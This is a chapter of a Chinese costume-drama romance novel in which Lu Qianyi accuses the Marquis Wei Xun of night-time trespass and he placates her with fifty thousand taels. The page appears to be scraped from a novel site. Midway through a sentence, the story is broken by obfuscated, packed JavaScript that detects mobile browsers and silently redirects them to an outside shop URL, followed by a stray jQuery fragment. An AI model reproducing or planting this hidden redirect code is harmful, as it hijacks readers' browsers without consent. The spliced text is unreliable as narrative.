文趣网 > 其他小说 > 靖安侯为何这样 > 20. 回旋镖
    侧屋这边,局势陡然扭转。

    彩云等人已经自觉地退到了廊外的平地上。

    陆千仪站在魏寻面前,双手交叉抱在胸前,居高临下地看着他道:“堂堂靖安侯,看起来一表人才,威武不凡的,想不到竟然是这样的人!”

    方才差点就让他给蒙混过去了。

    魏寻坐在原处,瞥了眼她的碗,面不改色道:“再不吃就凉了。”

    陆千仪道:“你这话题转得也太生硬了吧?”

    似曾相识的回旋镖直击眉心,魏寻默然一噎,依旧平静道:“无凭无据的,你就这么冤枉好人?”

    陆千仪:“你敢说不是你吗?”

    魏寻:“那你说说,我为何要干这样的事?”

    “我怎么知道你为何要干这样的事?”陆千仪底气十足道,“你见过哪个采花大盗非礼姑娘之前还让人家猜猜理由的?”

    采花大盗?

    魏寻蓦地气笑了,抬眼质问道:“你居然敢将本侯比作那等下流之辈?”

    陆千仪一点不慌,半眯着眼睛审视着他,若有所思:“仔细想想,明明一开始你就已经拒绝同我成婚,后来却又改变了主意,实在可疑……虽然你的理由是想让我扮演你的未婚妻,来躲避世家联姻,但放着京都那么多未出阁的姑娘你不找,非要冒着与长公主为敌的风险,闹了劫亲这一出,说明你的目的本就不纯。”

    看不出来,疑心还挺重。

    魏寻表面上看起来没有一丝丝被戳中心事的慌乱,实际心里已然有了几分缴械投降的打算,只道:“我能有什么目的。”

    陆千仪一副胸有成竹的模样,缓缓俯身凑近他,盯着他的眼睛道:“要么,你这个人天生就爱挑事,要么……”

    魏寻眉梢一挑,回视着她。

    只见陆千仪脸上几不可察地闪过一丝近乎自负的骄傲:“你早就对我一见钟情,千方百计地想要得到我。”

    “……”

    对视片刻,魏寻没忍住闭上眼睛抬手压了压眉心。

    许是两人离得太近的缘故,陆千仪将他那一闪而过睫毛微微颤动的细微变化尽数看在眼里。

    于是她越发笃定,最后一句说对了。

    她心底意外地生出了几分羞涩,起身拉开了两人的距离,故作洒脱道:“你也不必不好意思,就凭本姑娘这副美貌,让人一见钟情也不是什么怪事,也难怪你早有图谋,连婚书都准备好了,早知如此,当初在醉香楼何必多此一举拒绝我呢……”

    话到一半,意识到自己跑偏了话题,陆千仪急忙端正神色道,“可话又说回来,你再怎么迷恋我,也不能干这种偷鸡摸狗的事啊!”

    呵,偷鸡摸狗?

    魏寻缓缓睁眼,一动不动地盯着桌面,搭在膝上的手指紧紧握成拳,咬牙道:“你什么时候变得这么话痨了?”

    “我一直都这么话……”陆千仪话音忽地一止,迅速反应过来,“我哪有话痨?你敢做不敢当,还不让人说两句?”

    魏寻此刻特别后悔来这陪她吃饭,几不可察地叹了口气道:“我昨晚的确来过。”

    陆千仪暗道:我说什么来着!

    “那是因为管家在明月居的院子里捡到一笔钱,让我来问问是不是你的。”魏寻只想速战速决,于是专挑她的软肋下手,“若没记错,好像是两……”

    他本想说两张一万两的银票。

    但转念一想,必须要抛出足够诱人的饵,才能够把这条聪明的鱼先钓走,于是话到嘴边,他不动声色地瞥了眼陆千仪的脸色,换成了:“五张一万两的银票。”

    “五张一万两!”陆千仪惊得眼珠子都要掉出来了,想也不想道,“难怪我说我的钱怎么少了那么多,这肯定是我掉的呀!”

    那可是五万两啊!谁家院子里平白无故掉这么多钱?肯定是她刚来的那天晚上掉的。

    果然,五万两的银票一出来,陆千仪瞬间将方才的争论抛到了脑后,埋怨道:“哎呀,这么重要的事情,你怎么不早说?”

    魏寻的脸上极其罕见地出现了几分无力,只道:“现在说也不迟,待会管家会送钱过来。”

    话音刚落,抬眼间便看见徐照站在廊下用一种同情的眼光看着他,默默摇了摇头。

    三更半夜冒雨前来哄睡,熬到快天明才回屋歇下,一大早还好心好意来陪对方用膳,结果却被当成登徒子数落了一通,最后还得花五万两来打消她的疑心,啧,谁家主子能倒霉成这样?

    一听钱在管家那里,陆千仪也顾不上吃早膳了,一副冰释前嫌的模样拍了拍他的肩膀道:“真不好意思,方才误会你了。”

    然后两手往身后一背,兴高采烈地跑出去找管家。

    徒留魏寻坐在原地,端起凉透的茶水,喝也不是,不喝也不是,缓了半晌才道:“来人,换茶。”

    陆千仪半道碰上了方才来禀报消息的小厮,这才知晓薛慕妍来了,于是火急火燎地往大门赶。

    薛慕妍和贺云溪的争执从“过河拆桥”四个字一直吵到六岁那年到底是谁打碎了御赐的花瓶,终于也进入了疲怠阶段,两人相看两厌,气鼓鼓地瞪了对方一眼,都懒得再开口。

    管家的神情也从一开始的目瞪口呆渐渐变成了无能为力。

    好在两人刚休战没多久,陆千仪便来了。

    “妍妍!”

    薛慕妍终于盼到她出来,积压在心里的所有情绪都在见到她的那一刻骤然迸发出来,竟是情不自禁地嘴巴一扁,委屈巴巴地哭了出来:“姐姐……”

    陆千仪不明所以,一见她哭便手忙脚乱地帮她擦眼泪:“怎么回事?怎么突然哭啦?”

    薛慕妍哭得梨花带雨:“他们都欺负我……”

    陆千仪一听这话,立即一记眼刀射向贺云溪:“贺公子,你一个大男人,怎么能欺负女孩子呢?”

    贺云溪都惊呆了,跳出来冲着薛慕妍嚷嚷:“诶……你方才跟我吵架的时候可不是这样的。”

    陆千仪原以为贺云溪虽然风流些,但脾性应该是儒雅温和的,哪知私底下竟然对自己表妹这么凶?于是立马驳道:“妍妍从来不会跟人吵架,反倒是贺公子你,身为表哥于情于理都不该欺负妹妹吧?”

    “就是!”薛慕妍躲在陆千仪身后,抽泣道,“我本来是想来看看你的,哪知被这侯府的管家拦在了门外,我堂堂郡主,便是到了宫里,谁不是对我客客气气的,这管家倒好,说什么没有侯爷的允许不能进去……呜呜……要不是为了你,谁稀罕来他这破侯府啊!”

    说着,豆大的眼泪噼里啪啦直往下掉。

    管家被说得心虚不已,恨不得找个地洞钻进去。

    陆千仪则看得心疼不已:“都怪我,都怪我,忘了让人给你捎个信了,不哭了啊!“

    贺云溪从前压根不知道长公主府里有陆千仪这么一号人物,更不知道薛慕妍和她关系如此亲昵,此刻这一出姐妹情深的画面,直看得他哑口无言,一双眼睛不可置信地打量着薛慕妍,暗道:平时怎么没看出来,你这丫头竟然还有两副面孔?

    陆千仪为了哄她开心,便提议:“不哭了,咱们逛街去,姐姐给你买好吃的!”

    薛慕妍脸上还挂着泪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613673|205485||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,乖巧地点了点头,随即又摇头道:“还是花我的钱吧,你出门在外,钱得留着自己用。”

    陆千仪开心道:“放心吧,我有的是钱!”

    说罢转身便朝管家伸出了手,两眼不自觉放光道,“管家,我的钱呢?”

    管家一头雾水:“什么钱?”

    陆千仪耐心提醒:“就昨晚在院子捡的钱啊!”

    院子里捡了钱?我吗?

    管家刚想问她是不是记错了,转瞬便听见身后传来一阵稍显刻意的轻咳。

    徐照赶在陆千仪察觉之前,从账房取了五万两银票出来,递给她道:“钱在这。”

    拿到了钱,陆千仪领着薛慕妍高高兴兴地上了马车,扬长而去。

    贺云溪一肚子气来得快,去得也快,见她们二人一走,一副不与女人计较的模样自顾自抖开扇子,径直跨门而入。

    管家却是怔怔想了一会才问:“没看错的话,方才拿给陆姑娘的……是整整五万两吧?”

    徐照回答:“不错。”

    “那这账……”

    怎么记?

    徐照微微叹了口气:“侯爷说,就当烧香了。”

    “……”

    *

    瑞仙楼乃是京都最好的客栈,往来客旅之人非富即贵。

    今日刚到午时,门前便停了一辆清简又不失沉雅的乌木马车,后面紧随着三辆平板车,车上装的大大小小皆是用料考究的锦匣木箱。

    “公子,瑞仙楼到了。”

    马车上的小厮率先跳了下来,随后车内走出一道清瘦俊朗的身影。

    瑞仙楼的掌柜亲自出门迎接,只见来人身着浅青交领长袍,腰束窄带,配以鎏金方扣,衣料匀净温润,在阳光下泛着朦胧渐变的颜色,虽不见繁复的纹样,但识货的人一看就知道用的是顶好的流光锦缎。这用得起这种料子的人本就不多,要想撑起面料之华贵,又能穿出清隽气韵的人更是凤毛麟角。

    是以,掌柜的几乎在见到来人的第一眼便认出了他的身份,热情道:“徐公子,您可算到了!”

    客栈里还坐着其他宾客,虽说一个个的在各自圈子里都是有头有脸的人物,可绝大多数人来瑞仙楼,顶多也就只有几个会来事的伙计们呼前拥后的,要想让掌柜的亲自出去迎接,一般人可没这种待遇。

    于是便有人好奇道:“看掌柜的这阵仗,外面的人似乎来头不小啊……”

    一时间众人都停下了闲谈,纷纷抬眼看向门口。

    这是另外有人豁然出声:“这不是徐家那位大公子吗?”

    “徐家的大公子?就是那个出身顶级勋贵世家却弃武从商的……徐彦?”

    这个名字一出来,周遭顿时哗然一片。

    要说京都的勋贵世家,除了大名鼎鼎的靖安侯府,另一个最常为众人论道的便是徐家。

    徐家祖上是跟着开国皇帝打江山的,受封荣国公,世代承袭爵位。徐彦乃是徐家长子,自幼被当作继承人来培养,文武双全,品行端方,见过他的人无不称赞徐家后继有人。

    直到五年前,不知出了什么变故,徐彦骤然离开京都,放弃了好好的世家子弟不做,孑然一身去了江南,还做起了生意。

    自古士农工商,等级鲜明,商人便是手里握着再多的钱,放在世人眼里,终究是比不过一出生就注定能踏入朝堂的世家勋贵来得体面。

    也正因如此,当初徐老爷子因此事气得雷霆震怒,直言若他自甘堕落,非要行此辱没门楣之举,他便要与他断绝父子关系。

    结果这一断,便是五年。